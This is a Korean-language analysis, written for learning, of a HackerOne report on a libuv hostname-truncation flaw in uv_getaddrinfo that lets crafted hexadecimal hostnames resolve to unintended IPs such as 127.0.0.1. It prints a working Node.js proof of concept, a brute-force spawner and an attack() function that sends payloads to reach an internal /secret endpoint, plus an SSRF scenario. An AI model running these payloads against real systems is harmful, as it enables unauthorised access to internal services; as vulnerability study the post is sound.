본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
분석 레포트
https://hackerone.com/reports/2429894
Summary
src/unix/getaddrinfo.c(및 Windows 버전인 src/win/getaddrinfo.c)의 uv_getaddrinfo 함수는 getaddrinfo를 호출하기 전에 호스트 이름을 256자로 잘라낸다. 이 동작은 0x00007f000001(127.0.0.1을 표현)과 같은 주소를 생성하는 데 악용될 수 있으며, 이 주소는 getaddrinfo에서 유효한 것으로 간주되어 공격자가 의도하지 않은 IP 주소로 확인하여 개발자의 검사를 우회하는 페이로드를 제작할 수 있게 해준다.
세부사항
이 취약점은 hostname_ascii 변수(길이 256바이트)가 uv_getaddrinfo에서 처리되는 방식과 이후 uv__idna_toascii에서 처리되는 방식 때문에 발생한다. 호스트 이름이 256자를 초과하면 끝나는 null 바이트가 없이 잘린다. 빌드 및 런타임 환경에 따라 다양한 익스플로잇 시나리오로 이어질 수 있다.
예를 들어 Kali Linux와 함께 배포되는 빌드와 같은 일부 nodejs 빌드에서는 메모리의 다음 바이트가 null 바이트가 되어 잘린 호스트 이름이 유효하게 된다. 다른 빌드에서는 호스트 이름의 마지막 바이트가 임의의 값(0-256)이지만 연속된 호출에서 동일하고 그 다음 바이트는 널 바이트이다. 이러한 상황은 무차별 대입을 통해 악용될 수 있으며, 특히 많은 Node.js 인스턴스가 병렬로 실행되는 프로덕션 환경(pm2, kubernetes 등)에서 악용될 수 있다.
마지막 바이트는 무작위이기 때문에 0-9a-f 중 하나에 해당하는 경우가 있는데, 256개 중 16개의 경우(127.0.0.x)가 로컬 호스트(127.0.0.x)를 호출하고 내부 API의 보안 조치를 우회하는 데 유용할 수 있다. 다른 IP 범위를 호출할 때도 마찬가지다.
POC
// nodejs reproduction code:
const dns = require('dns');
async function run(ip, exactIP) {
let hexIP = ip.split('.').map(x => (+x).toString(16).padStart(2, '0')).join('');
if (!exactIP) {
hexIP = hexIP.substring(0, hexIP.length - 1);
}
const payload = `0x${'0'.repeat(256-hexIP.length-2)}${hexIP}.example.com`;
dns.lookup(payload, (err, addr) => {
if (err); // not successful
else if (addr === ip) console.log('*', addr);
else console.log(' ', addr); // resolved to a shifted ip-address
});
}
if (process.argv[2]) {
run ('4.2.2.4', true) // exact match, less probable (P=1/256), for kali-like builds works perfectly
// run('127.0.0.1', false); // any 127.0.0.x, higher probability (P=1/32)
} else {
const cp = require('child_process')
for (let i=0; i<1024; ++i) {
cp.spawn('node', [process.argv[1], 'x'], { stdio: 'inherit' });
}
}
Impact
1. 내부 API에 대한 액세스
다음 코드는 여러 개의 pods가 있는 환경(예: 쿠버네티스)에 배포될 경우 위에서 설명한 공격에 취약하여 내부 API에 대한 무단 액세스를 허용할 수 있다.
const axios = require('axios');
const express = require('express');
const app = express();
app.get('/', async (req, res) => {
const url = req.query?.url || '';
if (new URL(url).hostname.endsWith('.example.com')) {
try {
const { data } = await axios.get(url, { timeout: 3000 });
res.send(data);
} catch(e) {
res.status(400).send('error');
}
} else {
res.status(400).send('Invalid url');
}
});
app.listen(80);
// internal endpoint available only to local IPs
// (in reality deployed inside another service)
const internalApp = express();
internalApp.get('/secret', (req, res) => {
res.send('the secret panel');
});
internalApp.listen(3000);
// pm2 start s1.js -i 128
function attack() {
for (let i=0; i<128; i++) {
const payload = '0x' + '0'.repeat(246) + '7f000001';
fetch(`http://localhost?url=http://${payload}.example.com:3000/secret`)
.then(x => x.text())
.then(console.log);
}
}
2. SSRF 공격
또 다른 시나리오는 사용자가 username.example.com 페이지를 가질 수 있도록 허용하는 웹사이트(MySpace와 유사)를 포함한다. 이러한 사용자 페이지를 크롤링하거나 캐시하는 내부 서비스는 악의적인 사용자가 취약한 긴 사용자 아이디를 선택하면 SSRF 공격에 노출될 수 있다.
참고